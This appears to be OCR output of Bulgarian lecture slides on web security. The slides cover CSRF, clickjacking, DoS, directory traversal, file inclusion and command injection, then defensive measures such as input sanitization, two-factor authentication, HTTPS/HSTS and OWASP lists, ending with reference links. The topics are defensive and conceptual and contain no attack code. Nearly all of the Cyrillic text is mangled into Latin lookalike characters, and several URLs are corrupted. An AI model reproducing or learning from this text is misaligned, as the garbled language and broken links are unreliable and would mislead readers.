dopma, 3auL0TO TOM OM TpA6GBaNo Aa 3Hae TalHaTa, KOATO CbHPBLPLT NpPefOCTaBA Ha
notpe6utens. [lopu fa OTKpue Knloua u Aa cb3gage Gopmynsap 3a KOHKpeTeH noTpeouten, Tou
Beye HAMA Aa MoOXe Aa u3nonsea cbuiata Gopma, 3a ja atakyBa BCeKM notpeoéburen.
Ye6 paMKuTe 4ecTo BK/IOYBAT TaKMBa MeXaHM3MHM 3a npeBeHuusa Ha CSRF.
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Clickjacking

[pu Ta3n aTaka 3N10HaMepeH NOTPeduTeN NPKUXBaLLa KTMKBAHWATA,
npeaHasHayeHn 3a Buanumus top-level cait v rn npeHaco4ysa
KbM CKpWTa OTA0NY CTpaHuMLa.




Clickjacking

Tasn TexHMKa MOXE [la Ce U3MoN3Ba, Hanpumep 3a NoKa3BaHe Ha NernTUMeH 6aHKOB CaiT, KOMTo
NpuabIrBa NOTpedbuTeNd Aa ce MAeHTUONLMPA C JaHHW 3@ BXOA, KOWTO BeAHara ce npuxsalla oT
HeBWAMM <iframe>, KOHTPOAMPaH oT HanaaaTtens. Clickjacking Moxe CbLL0 Aa ce 13Mon3Ba, 3a Aa
Hakapa noTpebuTensa fa LpakHe BbpXy OYTOH OT BUAWMUSA CalT, KOMTO M3MbHABA CbHBCEM
pasnnMuHa (yHKUMOHANHOCT. KaTo 3aluTa, HMEe MOXEM fJa NpefocTaBUM MexaHW3bM 3a

NPeBEHUMS Ha BrpaXAaHeToO Ha yed MPUIOXKEHMETO HW B iframe Ha Apyr cailT, KaTo 3ajajem
nogxofdawmte HTTP xeabpu.
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Denial of Service (DoS)

DoS 061KHOBEHO Ce NOCTUra Ype3 NpeToBapBaHe/6oMbapanpaHe Ha Lienesun canT
C GanwmBy 3asBKKM, Taka Ye A0CTbMBT [0 CaiT Ja 6bAe NpeKkbCcHaT 3a
NeruTUMHUTE NOTPEBUTENMN.




Denial of Service (DoS)

3asBKUTE MOXE 1a Ca MHOTOOPOMHM MM NOOTAENHO a KOHCYMMUPAT rofiemMu KOnmn4ecTBa pecype,
(HanpuMep 6aBHO YeTeHe WM KayBaHe Ha ronemu Gainose). 3awutute oT DOS 06MKHOBEHO
PAbOTAT Ype3 WAEHTUGUUMPaHE W ONOKMPaHe Ha ,oWwmus” Tpauk, KaTo CbliEeBPEMEHHO
NO3BONABAT MPEMMUHABAHETO HA NErUTUMHM CbOOLIEHNS. Tesdn 3alnTh Haik-4ecTo ce Hamupat
npean unm B yeb cbpBbpa (T€ He ca YacT OT CamoTO Yeb NPUIOXKEHNE).
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Directory Traversal (File and disclosure)

[pu Tasu aTaka 3N10HaMepeH NOTPedUTeN ce ONUTBa Aa Nonyyu
[OCTBIN A0 YacTuK OT (aifoBaTta CUCTEMaA Ha yeb CbpBbPA, 10 KOUTO
He 6V TPSI6BANO fa MMa AOCTb.




@® Directory Traversal (File and disclosure)

Tasn ya3BMMOCT Bb3HWKBA, KOraTto NoTpebuTensT MOXe Aa npeaaBa MMeHa Ha (aiinoBe, KOMTOo
BK/OYBAT CheLyanHn 3a HaBuraumusa Ha GailnosaTa cuctema 3Hauw, (Hanpumep ../../). PeweHneTo
e [la CaHUTM3KpamMe Bxoaa, Npean aa ro nsnon3same.
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File Inclusion (M3nbnHexne Ha aiin)

[pu Tasu aTaka NOTPEOUTENAT MOXE 1a NOCOUM "HenpeaHamMmepeH” haiin 3a
BM3yanusauns uim n3nbfiHeHWE Ha AaHHK, NpefaBaHn Ha CbpBbpa. KoraTo ce
3apeau, To3K (hain MoXe a 6be N3MbJHEH Ha yeb CbpBbPa UK OT CTPaHa Ha
KnneHTa, (koeTo Boay A0 XSS aTaka). PellueHneTo e 0THOBO CaHUTH3MPaHE Ha
BX0fa, Npean Aa ro 06paboTumMm.
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Command Injection

AtakuTe ype3 command injection N03BONSBAT HA 3N10HAMEPEH NOTPebUTEN Aa

N3NbJIHABA NPON3BOJTHN CUCTEMHW KOMaHAW B onepaynoHHaTa CUCTEMaA Ha XOCTa.

PelleHneTo e fa ce CaHNTU3NPa BbBEAEHUAT OT I'IOTpe6l/lTeﬂFI BXOA, npean Aa ce
N3MoJ1I3Ba B CUCTEMHN N3BUKBaHNA.




[oyTy BCMYKM NPoBKBK B CUTYPHOCTTA (Security exploits), onucaHn B npeauwHuTE Cnaitaose ca
YCMELLHY, KOraTo yeb NpUNoXeHNeTo ce A0BEPSABa Ha [aHHWUTe, MABALLM 0T 6pay3bpa. KakBoTo U
[la NpaBuTe, 3a Aa NOA0OPUTE CUrYPHOCTTA Ha BalMA yebcaiiT, TPA6Ba Aa CaHUTU3NUpaTe BCUYKY
[laHHW, NPOU3XOXAALLM OT NOTPeOUTENS, NPeaV Aa M1 NOKaxeTe B 6pay3bpa, 4a v 13non3saTe B
SQL 3aaBKUTE UK @ T1 NPEXBBPANTE KbM KOMaHAW Ha onepaunoHHaTa unn dainosarta cuctema.

Mpeaynpexpenune: Hail-BaXHUAT YPOK, KONTO MOXETE [1a Hay4uTe 3a CUrYPHOCTTa Ha yebcaiiTa, e
HMKOra [la He ce [0BepsiBaTe Ha [aHHK 0T 6pay3bpa. TOBa BK/OYBA, HO HE Ce OrpaHuyaBa [0
narHu B URL napametpute Ha GET 3aaBku, POST 3aaBku, HTTP xegbpu v OUCKBUTKM U KAYEHN OT
noTpebuTens Gainose. 3agb/KUTESIHO MPOBEPSBANTE M CAHUTN3NPaNTe BCUYKM BXOAALUM [JaHHN. 3a
ChXXaJleHne BUHarn Tps6Bsa Aa npejronarate Han-oLoTo.




Jlpyrv KOHKPEeTHM CTBIKK 3 3alKUTa

M3non3eanTe no-e®ekTVBHO YnpaBfieHWe Ha naponn. HacbpyaBailte CWMIHW Naposu.
omucnete 3a ABY(GaKTOPHO YAOCTOBEpsBaHE 3a Balua caiT (two-factor authentication),
Taka 4Ye B [OMbJIHEHME KbM Napona, NoTpebuTensT TpsibBa Aa BbBede APYyr KO4 3a
yaoocToBepsiBaHe (06MKHOBEHO TakbB, KOMTO Ce JOCTaBs Ypes HAKAKbB (r3nYecku xapayep,
KOWTO Lle MMa camo MOTpebutendat, KaTo Hanpumep kKog B SMS, nanpaTeH [0 HeroBus
TenedoH).

3nonssante WHCTPYMEHTW 33 CKaHMpaHe Ha YA3BMMOCTM, 3a [a W3BbpLMUTE
aBTOMAaTWN3MPAHO TECTBAHE Ha CUIYPHOCTTA Ha BaLLUMS CanT.




Jlpyrv KOHKPEeTHM CTBIKK 3 3alKUTa

KoHpurypupaite Bawmsa yeb cbpebp Aa usnonssa HTTPS n HTTP Strict Transport Security
(HSTS). HTTPS kpunTupa AaHHWTE, M3NPaTEHM MEeXAy Ballls KIMEHT U CbpBBLP. ToBa

rapaHTMpa, 4e NaeHTUOUKALMOHHUTE AaHHK 33 BXOJ, BUCKBUTKUTE, flaHHNTe 3a POST 3asBku

n I/IH(bOpMaLI,I/IFITa 3a Xeabpute He Ca JieCHO [AOCTbMHWM  3a  HaladdTeNInTe.

CnepneTe Haid-nonynapHuTe 3annaxu (npernepaiTte Tekywm cnucbk Ha OWASP) 1 06bpHeTe
BHWMaHMe Ha Hal-4eCTo cpellaHnTe y43BNMOCTH:
https://owasp.org/www-project-mobile-top-10/

https://www.owasptopten.org/




Jlpyrv KOHKPEeTHM CTBIKK 3 3alKUTa

CbxpaHdBaiTe 1 nokasBanTe caMo [jaHHW, OT KOUTO Ce HyxZJaeTe. Hanpumep, ako BawuTe
noTpebutenn TpsibBa Aa CbxpaHaBaT YyBCTBUTENIHA MHPOPMALMSA KAaTO AaHHW 3@ KpeauTHa
KapTa, MOKa)KeTe caMmo [oCTaTb4yHaTa 4acT OT HOMEpa Ha KapTaTa, 3a fa MoXe T4 Aa bbje
MOEHTUOULMPAHa OT NOTPedUTENS, a He UanaTa, 3a ja MOXe npeaoTBpaTuTe KonnpaHe oT
3N0BpejHN NOTPEOUTENM, KOMTO [1a f M3NON3BaT Ha ApYr caiT. Hal-4ecTo cpeLlaHnsT Moaen
B TO3/ MOMEHT e [a Ce MokaseaT caMo nocrneaHnte 4 umdpu OT HOMepa Ha Kaprara.

Ye6 paMKuTe morart na nomorHaT 33 npefoTBpaTABaHE Ha
MHOrO OT Hall-4eCTo CpeLlaHnTe 3f10HaMepeHi aTaku!




Jluteparypa

https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation
https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/W
ebsite_security
https://geekflare.com/online-scan-website-security-vulnerabilities/
https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation
https://www.w3schools.com/js/js_validation.asp
https://www.w3schools.com/html/html_form_attributes.asp
https://developers.google.com/recaptcha/intro
https://owasp.org/www-project-top-ten/
https://www.smashingmagazine.com/2018/08/ux-html5-mabile-form-part-1
https://www.smashingmagazine.com/2018/08/ux-htm|5-mobile-form-part-2
https://www.smashingmagazine.com/2011/11/extensive-guide-web-form-u
sability/
https://www.uxmatters.com/mt/archives/2006/07/label-placement-in-form
s.php
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https://www.ivanti.com/glossary/itil-4
https://www.isaca.org



https://www.ivanti.com/glossary/itil-4
https://www.isaca.org
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